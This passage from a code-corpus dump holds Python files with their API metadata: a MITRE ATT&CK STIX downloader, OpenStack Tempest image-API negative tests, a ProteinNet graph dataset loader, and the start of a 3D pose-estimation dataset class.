"call"}, {"api_name": "discord.AutocompleteContext", "line_number": 36, "usage_type": "attribute"}, {"api_name": "discord.AutocompleteContext", "line_number": 39, "usage_type": "attribute"}, {"api_name": "discord.ApplicationContext", "line_number": 50, "usage_type": "attribute"}, {"api_name": "discord.commands.option", "line_number": 43, "usage_type": "call"}, {"api_name": "discord.commands.option", "line_number": 44, "usage_type": "call"}, {"api_name": "discord.commands.option", "line_number": 45, "usage_type": "call"}, {"api_name": "discord.commands.option", "line_number": 46, "usage_type": "call"}, {"api_name": "discord.commands.option", "line_number": 47, "usage_type": "call"}, {"api_name": "discord.ext.commands.is_owner", "line_number": 49, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 49, "usage_type": "name"}, {"api_name": "discord.ApplicationContext", "line_number": 63, "usage_type": "attribute"}, {"api_name": "discord.commands.option", "line_number": 55, "usage_type": "call"}, {"api_name": "discord.commands.option", "line_number": 56, "usage_type": "call"}, {"api_name": "discord.commands.option", "line_number": 57, "usage_type": "call"}, {"api_name": "discord.commands.option", "line_number": 58, "usage_type": "call"}, {"api_name": "discord.commands.option", "line_number": 59, "usage_type": "call"}, {"api_name": "discord.ext.commands.cooldown", "line_number": 62, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 62, "usage_type": "name"}, {"api_name": "discord.ext.commands.BucketType", "line_number": 62, "usage_type": "attribute"}, {"api_name": "discord.ApplicationContext", "line_number": 65, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 67, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 95, "usage_type": "attribute"}, {"api_name": "openai.Completion.acreate", "line_number": 97, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 97, "usage_type": "attribute"}, {"api_name": "re.finditer", "line_number": 111, "usage_type": "call"}, {"api_name": "base64.urlsafe_b64encode", "line_number": 117, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 118, "usage_type": "call"}, {"api_name": "imagesGeneration.generate", "line_number": 130, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 130, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 131, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 131, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 134, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 141, "usage_type": "call"}, {"api_name": "os.system", "line_number": 144, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 148, "usage_type": "call"}, {"api_name": "os.system", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 154, "usage_type": "call"}, {"api_name": "os.path", "line_number": 154, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 155, "usage_type": "call"}, {"api_name": "os.system", "line_number": 158, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 161, "usage_type": "call"}, {"api_name": "os.path", "line_number": 161, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 162, "usage_type": "call"}, {"api_name": "os.system", "line_number": 165, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 167, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 177, "usage_type": "call"}, {"api_name": "discord.Color.brand_red", "line_number": 177, "usage_type": "call"}, {"api_name": "discord.Color", "line_number": 177, "usage_type": "attribute"}, {"api_name": "discord.File", "line_number": 178, "usage_type": "call"}, {"api_name": "discord.ApplicationContext", "line_number": 183, "usage_type": "attribute"}, {"api_name": "discord.Embed", "line_number": 184, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 191, "usage_type": "call"}, {"api_name": "base64.urlsafe_b64decode", "line_number": 194, "usage_type": "call"}, {"api_name": "discord.ApplicationContext", "line_number": 200, "usage_type": "attribute"}, {"api_name": "discord.File", "line_number": 204, "usage_type": "call"}, {"api_name": "discord.commands.option", "line_number": 199, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 210, "usage_type": "call"}, {"api_name": "os.path", "line_number": 210, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 211, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 218, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 219, "usage_type": "call"}, {"api_name": "openai.api_key", "line_number": 220, "usage_type": "attribute"}]}
{"seq_id": "26032051874", "text": "\"\"\"A helper script to download ATT&CK releases in STIX/JSON format.\"\"\"\n\nimport pathlib\nfrom typing import List\n\nimport pooch\nimport typer\nfrom loguru import logger\n\nfrom mitreattack import release_info\n\napp = typer.Typer(add_completion=False)\n\n\ndef download_stix(stix_version: str, domain: str, download_dir: str, release: str, known_hash: str):\n    \"\"\"Download an ATT&CK STIX release file.\n\n    Parameters\n    ----------\n    stix_version : str\n        Version of STIX to download. Options are \"2.0\" or \"2.1\"\n    domain : str\n        An ATT&CK domain from the following list [\"enterprise\", \"mobile\", \"ics\"]\n    download_dir : str\n        Directory to download the STIX files to.\n    release : str\n        ATT&CK release to download.\n    known_hash : str\n        SHA256 hash of the ATT&CK release.\n    \"\"\"\n    release_download_dir = pathlib.Path(f\"{download_dir}/v{release}\")\n    release_download_dir.mkdir(parents=True, exist_ok=True)\n    fname = f\"{domain}-attack.json\"\n\n    if stix_version == \"2.0\":\n        download_url = f\"https://raw.githubusercontent.com/mitre/cti/ATT%26CK-v{release}/{domain}-attack/{fname}\"\n    elif stix_version == \"2.1\":\n        download_url = f\"https://raw.githubusercontent.com/mitre-attack/attack-stix-data/master/{domain}-attack/{domain}-attack-{release}.json\"\n\n    pooch.retrieve(download_url, known_hash=known_hash, fname=fname, path=str(release_download_dir))\n\n\ndef download_domains(domains: List[str], download_dir: str, all_versions: bool, stix_version: str):\n    \"\"\"Download ATT&CK domains specified.\n\n    Parameters\n    ----------\n    domains : List[str]\n        List of domains to download.\n    download_dir : str\n        Directory to download the STIX files to.\n    all_versions : bool\n        Whether or not to download all versions of the domains.\n    stix_version : str\n        Version of STIX to download. Options are \"2.0\" or \"2.1\"\n    \"\"\"\n    for domain in domains:\n        if domain == \"pre\" and stix_version == \"2.1\":\n            # there is no STIX 2.1 data for the PRE domain\n            continue\n\n        if stix_version == \"2.0\":\n            stix_hash_data = release_info.STIX20\n        elif stix_version == \"2.1\":\n            stix_hash_data = release_info.STIX21\n\n        releases = {}\n        if domain == \"enterprise\":\n            releases = stix_hash_data[\"enterprise\"]\n        elif domain == \"mobile\":\n            releases = stix_hash_data[\"mobile\"]\n        elif domain == \"ics\":\n            releases = stix_hash_data[\"ics\"]\n        elif domain == \"pre\":\n            if stix_version == \"2.0\":\n                releases = stix_hash_data[\"pre\"]\n\n        if all_versions:\n            logger.info(f\"Downloading STIX {stix_version} bundles for the {domain} domain to {download_dir}\")\n            for release, known_hash in releases.items():\n                download_stix(\n                    stix_version=stix_version,\n                    domain=domain,\n                    download_dir=download_dir,\n                    release=release,\n                    known_hash=known_hash,\n                )\n        else:\n            if release_info.LATEST_VERSION in releases:\n                logger.info(f\"Downloading STIX {stix_version} bundle for the {domain} domain to {download_dir}\")\n                release = release_info.LATEST_VERSION\n                known_hash = releases[release]\n                download_stix(\n                    stix_version=stix_version,\n                    domain=domain,\n                    download_dir=download_dir,\n                    release=release,\n                    known_hash=known_hash,\n                )\n\n\n@app.command()\ndef download_attack_stix(\n    download_dir: str = typer.Option(\n        \"attack-releases\", \"--download-dir\", \"-d\", help=\"Folder to save downloaded STIX data.\"\n    ),\n    all_versions: bool = typer.Option(False, \"--all\", \"-a\", help=\"Download all ATT&CK releases.\"),\n    stix20: bool = typer.Option(True, help=\"Download STIX 2.0 data.\"),\n    stix21: bool = typer.Option(False, help=\"Download STIX 2.1 data.\"),\n):\n    \"\"\"Download the ATT&CK STIX data from GitHub in JSON format.\n\n    By default, only the latest ATT&CK release will be downloaded in STIX 2.0 format.\n    \"\"\"\n    domains = [\"enterprise\", \"mobile\", \"ics\", \"pre\"]\n\n    if stix20:\n        stix20_download_dir = f\"{download_dir}/stix-2.0\"\n        pathlib.Path(stix20_download_dir).mkdir(parents=True, exist_ok=True)\n        download_domains(\n            domains=domains, download_dir=stix20_download_dir, all_versions=all_versions, stix_version=\"2.0\"\n        )\n\n    if stix21:\n        stix21_download_dir = f\"{download_dir}/stix-2.1\"\n        pathlib.Path(stix21_download_dir).mkdir(parents=True, exist_ok=True)\n        download_domains(\n            domains=domains, download_dir=stix21_download_dir, all_versions=all_versions, stix_version=\"2.1\"\n        )\n", "repo_name": "mitre-attack/mitreattack-python", "sub_path": "mitreattack/download_stix.py", "file_name": "download_stix.py", "file_ext": "py", "file_size_in_byte": 4822, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 293, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typer.Typer", "line_number": 12, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 31, "usage_type": "call"}, {"api_name": "pooch.retrieve", "line_number": 40, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 43, "usage_type": "name"}, {"api_name": "mitreattack.release_info.STIX20", "line_number": 63, "usage_type": "attribute"}, {"api_name": "mitreattack.release_info", "line_number": 63, "usage_type": "name"}, {"api_name": "mitreattack.release_info.STIX21", "line_number": 65, "usage_type": "attribute"}, {"api_name": "mitreattack.release_info", "line_number": 65, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 79, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 79, "usage_type": "name"}, {"api_name": "mitreattack.release_info.LATEST_VERSION", "line_number": 89, "usage_type": "attribute"}, {"api_name": "mitreattack.release_info", "line_number": 89, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 90, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 90, "usage_type": "name"}, {"api_name": "mitreattack.release_info.LATEST_VERSION", "line_number": 91, "usage_type": "attribute"}, {"api_name": "mitreattack.release_info", "line_number": 91, "usage_type": "name"}, {"api_name": "typer.Option", "line_number": 104, "usage_type": "call"}, {"api_name": "typer.Option", "line_number": 107, "usage_type": "call"}, {"api_name": "typer.Option", "line_number": 108, "usage_type": "call"}, {"api_name": "typer.Option", "line_number": 109, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 119, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 126, "usage_type": "call"}]}
{"seq_id": "11945829310", "text": "import uuid\n\nfrom tempest.api.image import base\nfrom tempest.lib import exceptions as lib_exc\nfrom tempest import test\n\n\nclass ImagesNegativeTest(base.BaseV2ImageTest):\n\n    \"\"\"here we have -ve tests for show_image and delete_image api\n\n    Tests\n        ** get non-existent image\n        ** get image with image_id=NULL\n        ** get the deleted image\n        ** delete non-existent image\n        ** delete rimage with  image_id=NULL\n        ** delete the deleted image\n     \"\"\"\n\n    @test.attr(type=['negative'])\n    @test.idempotent_id('668743d5-08ad-4480-b2b8-15da34f81d9f')\n    def test_get_non_existent_image(self):\n        # get the non-existent image\n        non_existent_id = str(uuid.uuid4())\n        self.assertRaises(lib_exc.NotFound, self.client.show_image,\n                          non_existent_id)\n\n    @test.attr(type=['negative'])\n    @test.idempotent_id('ef45000d-0a72-4781-866d-4cb7bf2562ad')\n    def test_get_image_null_id(self):\n        # get image with image_id = NULL\n        image_id = \"\"\n        self.assertRaises(lib_exc.NotFound, self.client.show_image, image_id)\n\n    @test.attr(type=['negative'])\n    @test.idempotent_id('e57fc127-7ba0-4693-92d7-1d8a05ebcba9')\n    def test_get_delete_deleted_image(self):\n        # get and delete the deleted image\n        # create and delete image\n        body = self.client.create_image(name='test',\n                                        container_format='bare',\n                                        disk_format='raw')\n        image_id = body['id']\n        self.client.delete_image(image_id)\n        self.client.wait_for_resource_deletion(image_id)\n\n        # get the deleted image\n        self.assertRaises(lib_exc.NotFound, self.client.show_image, image_id)\n\n        # delete the deleted image\n        self.assertRaises(lib_exc.NotFound, self.client.delete_image,\n                          image_id)\n\n    @test.attr(type=['negative'])\n    @test.idempotent_id('6fe40f1c-57bd-4918-89cc-8500f850f3de')\n    def test_delete_non_existing_image(self):\n        # delete non-existent image\n        non_existent_image_id = str(uuid.uuid4())\n        self.assertRaises(lib_exc.NotFound, self.client.delete_image,\n                          non_existent_image_id)\n\n    @test.attr(type=['negative'])\n    @test.idempotent_id('32248db1-ab88-4821-9604-c7c369f1f88c')\n    def test_delete_image_null_id(self):\n        # delete image with image_id=NULL\n        image_id = \"\"\n        self.assertRaises(lib_exc.NotFound, self.client.delete_image,\n                          image_id)\n\n    @test.attr(type=['negative'])\n    @test.idempotent_id('292bd310-369b-41c7-a7a3-10276ef76753')\n    def test_register_with_invalid_container_format(self):\n        # Negative tests for invalid data supplied to POST /images\n        self.assertRaises(lib_exc.BadRequest, self.client.create_image,\n                          name='test', container_format='wrong',\n                          disk_format='vhd')\n\n    @test.attr(type=['negative'])\n    @test.idempotent_id('70c6040c-5a97-4111-9e13-e73665264ce1')\n    def test_register_with_invalid_disk_format(self):\n        self.assertRaises(lib_exc.BadRequest, self.client.create_image,\n                          name='test', container_format='bare',\n                          disk_format='wrong')\n", "repo_name": "microsoft/LIS-Tempest", "sub_path": "tempest/api/image/v2/test_images_negative.py", "file_name": "test_images_negative.py", "file_ext": "py", "file_size_in_byte": 3277, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "tempest.api.image.base.BaseV2ImageTest", "line_number": 8, "usage_type": "attribute"}, {"api_name": "tempest.api.image.base", "line_number": 8, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 25, "usage_type": "call"}, {"api_name": "tempest.lib.exceptions.NotFound", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tempest.lib.exceptions", "line_number": 26, "usage_type": "name"}, {"api_name": "tempest.test.attr", "line_number": 21, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 21, "usage_type": "name"}, {"api_name": "tempest.test.idempotent_id", "line_number": 22, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 22, "usage_type": "name"}, {"api_name": "tempest.lib.exceptions.NotFound", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tempest.lib.exceptions", "line_number": 34, "usage_type": "name"}, {"api_name": "tempest.test.attr", "line_number": 29, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 29, "usage_type": "name"}, {"api_name": "tempest.test.idempotent_id", "line_number": 30, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 30, "usage_type": "name"}, {"api_name": "tempest.lib.exceptions.NotFound", "line_number": 49, "usage_type": "attribute"}, {"api_name": "tempest.lib.exceptions", "line_number": 49, "usage_type": "name"}, {"api_name": "tempest.lib.exceptions.NotFound", "line_number": 52, "usage_type": "attribute"}, {"api_name": "tempest.lib.exceptions", "line_number": 52, "usage_type": "name"}, {"api_name": "tempest.test.attr", "line_number": 36, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 36, "usage_type": "name"}, {"api_name": "tempest.test.idempotent_id", "line_number": 37, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 37, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 59, "usage_type": "call"}, {"api_name": "tempest.lib.exceptions.NotFound", "line_number": 60, "usage_type": "attribute"}, {"api_name": "tempest.lib.exceptions", "line_number": 60, "usage_type": "name"}, {"api_name": "tempest.test.attr", "line_number": 55, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 55, "usage_type": "name"}, {"api_name": "tempest.test.idempotent_id", "line_number": 56, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 56, "usage_type": "name"}, {"api_name": "tempest.lib.exceptions.NotFound", "line_number": 68, "usage_type": "attribute"}, {"api_name": "tempest.lib.exceptions", "line_number": 68, "usage_type": "name"}, {"api_name": "tempest.test.attr", "line_number": 63, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 63, "usage_type": "name"}, {"api_name": "tempest.test.idempotent_id", "line_number": 64, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 64, "usage_type": "name"}, {"api_name": "tempest.lib.exceptions.BadRequest", "line_number": 75, "usage_type": "attribute"}, {"api_name": "tempest.lib.exceptions", "line_number": 75, "usage_type": "name"}, {"api_name": "tempest.test.attr", "line_number": 71, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 71, "usage_type": "name"}, {"api_name": "tempest.test.idempotent_id", "line_number": 72, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 72, "usage_type": "name"}, {"api_name": "tempest.lib.exceptions.BadRequest", "line_number": 82, "usage_type": "attribute"}, {"api_name": "tempest.lib.exceptions", "line_number": 82, "usage_type": "name"}, {"api_name": "tempest.test.attr", "line_number": 79, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 79, "usage_type": "name"}, {"api_name": "tempest.test.idempotent_id", "line_number": 80, "usage_type": "call"}, {"api_name": "tempest.test", "line_number": 80, "usage_type": "name"}]}
{"seq_id": "30000756741", "text": "'''\n    \\file dataset_ProtFunct.py\n    \n    \\brief pytorch geometric Dataset object for ProtFunct finetuning tasks.\n\n    \\author MinGyu Choi chemgyu98@snu.ac.kr\n'''\n\nimport os\nimport numpy as np\nfrom tqdm import tqdm\nimport torch\nfrom torch_geometric.data import Data, Dataset, DataLoader\nfrom torch.utils.data.sampler import SubsetRandomSampler\n\n\nclass ProtClassProtFunctDataset(Dataset):\n    \"\"\"\n    ProtClass100 dataset class.\n    Adopted & modified from https://github.com/phermosilla/IEConv_proteins\n    \"\"\"\n    def __init__(self, pDataSplit=\"training\", pDataPath=\"../data/finetune/ProtFunct\", pMaxLen=1024, pSpaRad=8,\\\n                pInterval=1.5, pAddVirtual=False, pDebug=None):\n        \n        super(Dataset, self).__init__()\n        self.pMaxLen = pMaxLen\n        self.pSpaRad = pSpaRad\n        self.pDataPath = pDataPath\n        self.pInterval = pInterval\n        self.pDataSplit = pDataSplit\n        self.pAddVirtual = pAddVirtual\n        # Parse the target dirs and labels\n        self.targetCodes, self.targetLabels = self.__parse_dataset_()\n        \n        # Preprocessed file does not exist: preprocessing works.\n        if not os.path.exists(f\"{pDataPath}/processed\"):\n            print(f\"[GraphConSeq Finetuning] Preprossesed file does not exist: preprocessing started.\")\n            self.out_dir = f\"{pDataPath}/processed\"\n            os.mkdirs(self.out_dir, exists_ok=True)\n            self.__preprocess__(pDataPath, pDataSplit)\n\n    def __getitem__(self, index):\n        vTargetCode, vTargetLabel = self.targetCodes[index], self.targetLabels[index]\n        \n        # Load the protein graph (without virtual node) \n        vTargetCode, vTargetChain = vTargetCode.split('.')\n        vProtGraph = torch.load(f\"{self.pDataPath}/processed/{vTargetCode}-{vTargetChain}.pt\")\n\n        vProtGraph.edge_attr = vProtGraph.edge_attr.long() # erase this for publication.\n\n        vProtGraph.y = vTargetLabel\n        \n        if self.pAddVirtual: vProtGraph = self.__add_virtual_node_(vProtGraph)\n              \n        return vProtGraph\n\n    def __len__(self):\n        return len(self.targetCodes)\n\n    def __parse_dataset_(self):\n        # Parse the target proteins.\n        targetCodes = []\n        with open(f\"{self.pDataPath}/{self.pDataSplit}.txt\", 'r') as mFile:\n            for curLine in mFile:\n                # some files are not converted.\n                if os.path.exists(f\"{self.pDataPath}/processed/{curLine.strip().split('.')[0]}-{curLine.strip().split('.')[1]}.pt\"):\n                    targetCodes.append(curLine.rstrip())\n\n        # Load the labels.\n        targetLabelDict = {}\n        with open(f\"{self.pDataPath}/chain_functions.txt\", 'r') as mFile:\n            for curLine in mFile:\n                splitLine = curLine.rstrip().split(',')\n                if splitLine[0] in targetCodes:\n                    targetLabelDict[splitLine[0]] = int(splitLine[1])\n        \n        # Refactor to the list.\n        targetLabels = []\n        for targetCode in targetCodes:\n            targetLabels.append(targetLabelDict[targetCode])\n\n        return targetCodes, targetLabels\n\n    def __add_virtual_node_(self, pyg_data):\n        edge_attr, edge_index, node_attr, y = pyg_data['edge_attr'], pyg_data['edge_index'], pyg_data['x'], pyg_data['y']\n        \n        ## Add virtual node attribute (would be converted to learnable tensor after loading to GPU.)\n        virtual_node_attr = torch.zeros_like(node_attr[1]).unsqueeze(0)\n        x = torch.concat([virtual_node_attr, node_attr], dim=0)\n\n        ## Add additional edge type on existing edge attribute\n        virtual_edge_type = torch.zeros_like(edge_attr.T[0]).unsqueeze(1)\n        edge_attr = torch.concat([edge_attr, virtual_edge_type], dim=1)\n\n        ### Add additional edge indices on edge index\n        edge_index_ = (edge_index + 1) # virtual node = index 0\n        other_node_indices = torch.from_numpy(np.asarray([i+1 for i in range(node_attr.shape[0])], dtype=int)).unsqueeze(0)\n        virtual_node_indices = torch.zeros_like(other_node_indices)\n        virtual_edge_indices = torch.concat([torch.concat([other_node_indices, virtual_node_indices], dim=0), torch.concat([virtual_node_indices, other_node_indices], dim=0)], dim=1)\n        virtual_edge_indices = torch.concat([torch.zeros_like(virtual_edge_indices[:, 0]).unsqueeze(1), virtual_edge_indices], dim=1)\n        edge_index = torch.concat([virtual_edge_indices, edge_index_], dim=1)\n\n        ### Add additional edge attributes corresponding to the edge_attr\n        virtual_attr_ = torch.zeros_like(edge_attr[0]).unsqueeze(0)\n        virtual_attr_[0][-1] = 1 # virtual node type\n        virtual_attr = virtual_attr_.repeat(virtual_edge_indices.shape[1], 1)\n        edge_attr = torch.concat([virtual_attr, edge_attr], dim=0)\n        \n        return Data(x=x, edge_index=edge_index, edge_attr=edge_attr, y=y)\n    \n    def __preprocess__(self, pDataPath, pDataSplit):\n        print(f\"[GraphConSeq Finetuning] Preprocessing begins.\")\n        for (root, dirs, files) in os.walk(f\"{pDataPath}/data\"):\n            if len(files) > 0:\n                for (i, file_name) in enumerate(tqdm(files)):\n                    # Cache or garbage files.\n                    if '.hdf5' not in file_name:\n                        continue\n                    queryname = f\"{file_name.split('.')[0]}.{file_name.split('.')[1]}\"\n                    \n                    if os.path.exists(f\"{self.out_dir}/{queryname}_whole.pt\"): continue\n\n                    # Read hdf5 type raw data\n                    periodicTable_ = PyPeriodicTable()\n                    curProtein = PyProtein(periodicTable_)\n                    self.numAAs_ = len(periodicTable_.aLabels_) # default = 26\n                    curProtein.load_hdf5(f\"{pDataPath}/data/{file_name}\")\n                    \n                    # Build pytorch geometric graphs\n                    distMatrix = self.__calc_dist_matrix(curProtein.aminoPos_[0]) #                [N, N]\n                    aa_type = torch.from_numpy(curProtein.aminoType_).unsqueeze(0) + 1 # ME    Encoding [1, N]\n                    node_attr = self.__get_nodes__(aa_type, distMatrix)           # NotME Encoding\n                    self.seqLength = len(node_attr)\n                    edge_index, edge_attr = self.__get_edges__(torch.from_numpy(curProtein.aminoNeighs_), torch.from_numpy(curProtein.aminoNeighsHB_), distMatrix) # [2, E], [N,N]\n                    \n                    # TODO: Fragmentation\n                    \n                    whole_prot = Data(x=node_attr, edge_index=edge_index, edge_attr=edge_attr)\n                    whole_seq  = Data(x=aa_type)\n                    \n                    torch.save(whole_prot, f\"{self.out_dir}/{queryname}_whole.pt\")\n                    torch.save(whole_seq, f\"{self.out_dir}/{queryname}_seq.pt\")\n                    torch.save(distMatrix, f\"{self.dist_dir}/{queryname}.pt\")\n        print(f\"[GraphConSeq Finetuning] Preprocessing finished.\")\n\n\nclass ProtClassProtFunctDatasetWrapper(object):\n    def __init__(self, batch_size, num_workers, valid_size, data_path, max_seq, virtual_node, interval):\n        super(object, self).__init__()\n        self.data_path = data_path\n        self.batch_size = batch_size\n        self.num_workers = num_workers\n        self.valid_size = valid_size\n        self.max_seq = max_seq\n        self.add_virtual = virtual_node\n        self.interval = interval\n\n    def get_data_loaders(self):\n        train_dataset           = ProtClassProtFunctDataset(pDataSplit=\"training\"   ,pDataPath=self.data_path, pMaxLen=self.max_seq, pAddVirtual=self.add_virtual, pInterval=self.interval)\n        valid_dataset           = ProtClassProtFunctDataset(pDataSplit=\"validation\" ,pDataPath=self.data_path, pMaxLen=self.max_seq, pAddVirtual=self.add_virtual, pInterval=self.interval)\n        test_dataset            = ProtClassProtFunctDataset(pDataSplit=\"testing\"    ,pDataPath=self.data_path, pMaxLen=self.max_seq, pAddVirtual=self.add_virtual, pInterval=self.interval)\n        \n        train_loader            = DataLoader(train_dataset, batch_size = self.batch_size, sampler=SubsetRandomSampler(list(range(len(train_dataset)))),\n                                  num_workers=self.num_workers, drop_last=True)\n        valid_loader            = DataLoader(valid_dataset, batch_size = self.batch_size, sampler=SubsetRandomSampler(list(range(len(valid_dataset)))),\n                                  num_workers=self.num_workers, drop_last=True)\n        test_loader             = DataLoader(test_dataset, batch_size = self.batch_size, sampler=SubsetRandomSampler(list(range(len(test_dataset)))),\n                                  num_workers=self.num_workers, drop_last=True)\n        \n        return train_loader, valid_loader, test_loader\n\nif __name__ == \"__main__\":\n    \"\"\"\n    Preprocessing\n    \"\"\"\n    training         = ProtClassProtFunctDataset(pDataSplit=\"training\")\n    validation       = ProtClassProtFunctDataset(pDataSplit=\"validation\")\n    test             = ProtClassProtFunctDataset(pDataSplit=\"testing\")\n    ", "repo_name": "ProteinNet/ProteinNet", "sub_path": "ProteinNet/datasets/dataset_ProtFunct.py", "file_name": "dataset_ProtFunct.py", "file_ext": "py", "file_size_in_byte": 9046, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch_geometric.data.Dataset", "line_number": 17, "usage_type": "name"}, {"api_name": "torch_geometric.data.Dataset", "line_number": 25, "usage_type": "argument"}, {"api_name": "os.path.exists", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path", "line_number": 36, "usage_type": "attribute"}, {"api_name": "os.mkdirs", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "torch.zeros_like", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.concat", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.concat", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.concat", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.concat", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.concat", "line_number": 101, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.concat", "line_number": 107, "usage_type": "call"}, {"api_name": "torch_geometric.data.Data", "line_number": 109, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 113, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "torch.from_numpy", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 134, "usage_type": "call"}, {"api_name": "torch_geometric.data.Data", "line_number": 138, "usage_type": "call"}, {"api_name": "torch_geometric.data.Data", "line_number": 139, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 143, "usage_type": "call"}, {"api_name": "torch_geometric.data.DataLoader", "line_number": 163, "usage_type": "call"}, {"api_name": "torch.utils.data.sampler.SubsetRandomSampler", "line_number": 163, "usage_type": "call"}, {"api_name": "torch_geometric.data.DataLoader", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.utils.data.sampler.SubsetRandomSampler", "line_number": 165, "usage_type": "call"}, {"api_name": "torch_geometric.data.DataLoader", "line_number": 167, "usage_type": "call"}, {"api_name": "torch.utils.data.sampler.SubsetRandomSampler", "line_number": 167, "usage_type": "call"}]}
{"seq_id": "29175106968", "text": "import copy\nimport os, sys\nimport json \nimport numpy as np\nimport torch.utils.data as data\nimport cv2\nimport scipy.misc\nsys.path.append(\"..\") \nfrom utils import (bbox_clip_xyxy, bbox_xywh_to_xyxy, draw_origin_joints, \n                cam2pixel, draw_origin_joints_index)\n\nfrom transform import SimpleTransform3D\n\n\nclass MirrorDataset(data.Dataset):\n    #               [0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15, 16, 17]\n    HUMAN36_INDEX = [8,  9, 10, 11, 12, 13, 14,  0,  0,  0,  0,  5,  6,  7,  2,  3,  4,  1]\n    VIS_MASK      = [1,  1,  1,  1,  1,  1,  1,  0,  0,  1,  0,  1,  1,  1,  1,  1,  1,  1]\n    bbox_3d_shape = (2000, 2000, 2000)\n    joints_name = ('Pelvis',  # 0\n                   'R_Hip', 'R_Knee', 'R_Ankle',  # 3\n                   'L_Hip', 'L_Knee', 'L_Ankle',  # 6\n                   'Torso', 'Neck',  # 8\n                   'Nose', 'Head',  # 10\n                   'L_Shoulder', 'L_Elbow', 'L_Wrist',  # 13\n                   'R_Shoulder', 'R_Elbow', 'R_Wrist',  